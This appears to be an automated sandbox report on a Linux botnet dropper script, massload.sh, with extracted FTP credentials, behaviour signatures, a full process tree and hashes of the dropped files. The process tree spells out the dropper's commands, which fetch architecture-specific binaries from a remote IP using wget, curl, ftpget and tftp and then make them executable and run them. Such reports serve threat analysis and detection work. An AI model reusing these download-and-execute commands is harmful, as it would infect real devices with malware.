Analysis

  • max time kernel
    136s
  • max time network
    149s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    14/07/2026, 07:32

General

  • Target
    massload.sh
  • Size 2KB
  • Sample260714-jdajwsbs8x
  • SHA256 b46e0f56ac76e1b12f03fd1e13fa3f61acfd40e974f5aa031c969aec6a6309e4
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Credentials
  • Protocol

    ftp

  • Host

    205.237.110.232

  • Port

    21

  • Username

    anonymous

  • Password

    busybox@

Signatures

  • Contacts a large (56366) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 21 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 20 IoCs
  • Unexpected DNS network traffic destination 7 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Enumerates active TCP sockets 1 TTPs 11 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads process memory 1 TTPs 64 IoCs

    Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

  • Checks CPU configuration 1 TTPs 14 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 11 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 9 IoCs

    Adversaries may gather information about the network configuration of a system.

Processes

  • /tmp/massload.sh
    /tmp/massload.sh
    1⤵
    • Executes dropped EXE
    • Reads process memory
    PID:645
    • /bin/grep
      grep tmpfs
      2⤵
        PID:703
      • /bin/grep
        grep rw
        2⤵
          PID:704
        • /bin/grep
          grep -v noexe
          2⤵
            PID:705
          • /bin/cat
            cat /proc/mounts
            2⤵
              PID:702
            • /usr/bin/cut
              cut -d " " -f 2
              2⤵
                PID:706
              • /bin/cp
                cp /bin/busybox //dev/.a
                2⤵
                  PID:710
                • /bin/chmod
                  chmod 777 //dev/.a
                  2⤵
                  • File and Directory Permissions Modification
                  PID:714
                • /bin/rm
                  rm -rf .a
                  2⤵
                    PID:718
                  • /bin/rm
                    rm mips mpsl "arm*"
                    2⤵
                    • System Network Configuration Discovery
                    PID:719
                  • /usr/bin/wget
                    wget http://205.237.110.232/mips
                    2⤵
                    • System Network Configuration Discovery
                    PID:721
                  • /bin/chmod
                    chmod 777 mips
                    2⤵
                    • File and Directory Permissions Modification
                    PID:728
                  • /dev/mips
                    ./mips massload
                    2⤵
                    • System Network Configuration Discovery
                    PID:729
                  • /usr/bin/wget
                    wget http://205.237.110.232/mpsl
                    2⤵
                      PID:731
                    • /bin/chmod
                      chmod 777 mpsl
                      2⤵
                      • File and Directory Permissions Modification
                      PID:732
                    • /dev/mpsl
                      ./mpsl massload
                      2⤵
                        PID:733
                      • /usr/bin/wget
                        wget http://205.237.110.232/arm
                        2⤵
                          PID:735
                        • /bin/chmod
                          chmod 777 arm
                          2⤵
                          • File and Directory Permissions Modification
                          PID:736
                        • /dev/arm
                          ./arm massload
                          2⤵
                          • Enumerates active TCP sockets
                          • Checks CPU configuration
                          • Reads system network configuration
                          • Reads runtime system information
                          PID:737
                        • /usr/bin/wget
                          wget http://205.237.110.232/arm5
                          2⤵
                            PID:741
                          • /bin/chmod
                            chmod 777 arm5
                            2⤵
                            • File and Directory Permissions Modification
                            PID:751
                          • /dev/arm5
                            ./arm5 massload
                            2⤵
                            • Enumerates active TCP sockets
                            • Checks CPU configuration
                            • Reads system network configuration
                            • Reads runtime system information
                            PID:752
                          • /usr/bin/wget
                            wget http://205.237.110.232/arm7
                            2⤵
                              PID:796
                            • /bin/chmod
                              chmod 777 arm7
                              2⤵
                              • File and Directory Permissions Modification
                              PID:804
                            • /dev/arm7
                              ./arm7 massload
                              2⤵
                              • Enumerates active TCP sockets
                              • Checks CPU configuration
                              • Reads system network configuration
                              • Reads runtime system information
                              PID:805
                            • /usr/bin/curl
                              curl --output mips http://205.237.110.232/mips
                              2⤵
                              • Checks CPU configuration
                              • System Network Configuration Discovery
                              PID:821
                            • /bin/chmod
                              chmod 777 mips
                              2⤵
                              • File and Directory Permissions Modification
                              PID:824
                            • /dev/mips
                              ./mips massload
                              2⤵
                              • System Network Configuration Discovery
                              PID:825
                            • /usr/bin/curl
                              curl --output mpsl http://205.237.110.232/mpsl
                              2⤵
                                PID:827
                              • /bin/busybox
                                busybox curl --output mpsl http://205.237.110.232/mpsl
                                2⤵
                                  PID:828
                                • /bin/chmod
                                  chmod 777 mpsl
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:829
                                • /dev/mpsl
                                  ./mpsl massload
                                  2⤵
                                    PID:830
                                  • /usr/bin/curl
                                    curl --output arm http://205.237.110.232/arm
                                    2⤵
                                      PID:832
                                    • /bin/busybox
                                      busybox curl --output arm http://205.237.110.232/arm
                                      2⤵
                                        PID:833
                                      • /bin/chmod
                                        chmod 777 arm
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:834
                                      • /dev/arm
                                        ./arm massload
                                        2⤵
                                        • Enumerates active TCP sockets
                                        • Checks CPU configuration
                                        • Reads system network configuration
                                        • Reads runtime system information
                                        PID:835
                                      • /usr/bin/curl
                                        curl --output arm5 http://205.237.110.232/arm5
                                        2⤵
                                        • Checks CPU configuration
                                        PID:839
                                      • /bin/chmod
                                        chmod 777 arm5
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:847
                                      • /dev/arm5
                                        ./arm5 massload
                                        2⤵
                                        • Enumerates active TCP sockets
                                        • Checks CPU configuration
                                        • Reads system network configuration
                                        • Reads runtime system information
                                        PID:848
                                      • /usr/bin/curl
                                        curl --output arm7 http://205.237.110.232/arm7
                                        2⤵
                                        • Checks CPU configuration
                                        • Reads runtime system information
                                        PID:867
                                      • /bin/chmod
                                        chmod 777 arm7
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:875
                                      • /dev/arm7
                                        ./arm7 massload
                                        2⤵
                                        • Enumerates active TCP sockets
                                        • Checks CPU configuration
                                        • Reads system network configuration
                                        • Reads runtime system information
                                        PID:876
                                      • /bin/busybox
                                        busybox ftpget 205.237.110.232 mips mips
                                        2⤵
                                        • System Network Configuration Discovery
                                        PID:890
                                      • /bin/chmod
                                        chmod 777 mips
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:893
                                      • /dev/mips
                                        ./mips massload
                                        2⤵
                                        • System Network Configuration Discovery
                                        PID:894
                                      • /bin/busybox
                                        busybox ftpget 205.237.110.232 mpsl mpsl
                                        2⤵
                                          PID:896
                                        • /bin/chmod
                                          chmod 777 mpsl
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:897
                                        • /dev/mpsl
                                          ./mpsl massload
                                          2⤵
                                            PID:898
                                          • /bin/busybox
                                            busybox ftpget 205.237.110.232 arm arm
                                            2⤵
                                              PID:900
                                            • /bin/chmod
                                              chmod 777 arm
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:901
                                            • /dev/arm
                                              ./arm massload
                                              2⤵
                                              • Enumerates active TCP sockets
                                              • Checks CPU configuration
                                              • Reads system network configuration
                                              • Reads runtime system information
                                              PID:902
                                            • /bin/busybox
                                              busybox ftpget 205.237.110.232 arm5 arm5
                                              2⤵
                                                PID:908
                                              • /bin/chmod
                                                chmod 777 arm5
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:916
                                              • /dev/arm5
                                                ./arm5 massload
                                                2⤵
                                                • Enumerates active TCP sockets
                                                • Checks CPU configuration
                                                • Reads system network configuration
                                                • Reads runtime system information
                                                PID:917
                                              • /bin/busybox
                                                busybox ftpget 205.237.110.232 arm7 arm7
                                                2⤵
                                                  PID:931
                                                • /bin/chmod
                                                  chmod 777 arm7
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:939
                                                • /dev/arm7
                                                  ./arm7 massload
                                                  2⤵
                                                  • Enumerates active TCP sockets
                                                  • Checks CPU configuration
                                                  • Reads system network configuration
                                                  • Reads runtime system information
                                                  PID:940
                                                • /bin/busybox
                                                  busybox tftp -g -r mips 205.237.110.232 69
                                                  2⤵
                                                  • System Network Configuration Discovery
                                                  PID:954
                                                • /bin/chmod
                                                  chmod 777 mips
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:959
                                                • /dev/mips
                                                  ./mips massload
                                                  2⤵
                                                  • System Network Configuration Discovery
                                                  PID:960
                                                • /bin/busybox
                                                  busybox tftp -g -r mpsl 205.237.110.232 69
                                                  2⤵
                                                    PID:961
                                                  • /bin/chmod
                                                    chmod 777 mpsl
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:962
                                                  • /dev/mpsl
                                                    ./mpsl massload
                                                    2⤵
                                                      PID:963
                                                    • /bin/busybox
                                                      busybox tftp -g -r arm 205.237.110.232 69
                                                      2⤵
                                                        PID:965
                                                      • /bin/chmod
                                                        chmod 777 arm
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:966
                                                      • /dev/arm
                                                        ./arm massload
                                                        2⤵
                                                        • Enumerates active TCP sockets
                                                        • Checks CPU configuration
                                                        • Reads system network configuration
                                                        • Reads runtime system information
                                                        PID:967
                                                      • /bin/busybox
                                                        busybox tftp -g -r arm5 205.237.110.232 69
                                                        2⤵
                                                          PID:973
                                                        • /bin/chmod
                                                          chmod 777 arm5
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:998
                                                        • /dev/arm5
                                                          ./arm5 massload
                                                          2⤵
                                                            PID:1000
                                                          • /bin/busybox
                                                            busybox tftp -g -r arm7 205.237.110.232 69
                                                            2⤵
                                                              PID:1001
                                                            • /bin/chmod
                                                              chmod 777 arm7
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:1002
                                                            • /dev/arm7
                                                              ./arm7 massload
                                                              2⤵
                                                              • Enumerates active TCP sockets
                                                              • Checks CPU configuration
                                                              • Reads system network configuration
                                                              • Reads runtime system information
                                                              PID:1003

                                                          Network

                                                                MITRE ATT&CK Enterprise v16

                                                                Replay Monitor

                                                                Loading Replay Monitor...

                                                                Downloads

                                                                .a

                                                                • Path /dev/.a
                                                                • Size 507KB
                                                                • SHA256 2dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88
                                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                arm

                                                                • Path /dev/arm
                                                                • Size 117KB
                                                                • SHA256 346a019bbcfc938bae9401e7addbf79ba23105f8981b4b9b361cdbf40e31fe6e
                                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                arm5

                                                                • Path /dev/arm5
                                                                • Size 113KB
                                                                • SHA256 256ee665e22263f3539374bd40beebe58ff854585cf60affaad519f45d972f8c
                                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                arm7

                                                                • Path /dev/arm7
                                                                • Size 137KB
                                                                • SHA256 112810a3395df487b7e2d2b27f88366c5889fecf726a1eae9042ead1bab561ed
                                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                mips

                                                                • Path /dev/mips
                                                                • Size 152KB
                                                                • SHA256 d24d4356160ba56491bac687e5491f5eb6b63292d4ccaeb0bcae01209cf8323f
                                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                mpsl

                                                                • Path /dev/mpsl
                                                                • Size 155KB
                                                                • SHA256 3b10366eeaccf23f6f4bb4dfe35148fe685be8345157b386381db65546396101
                                                                • MD5 SHA1 SHA512 SSDEEP TLSH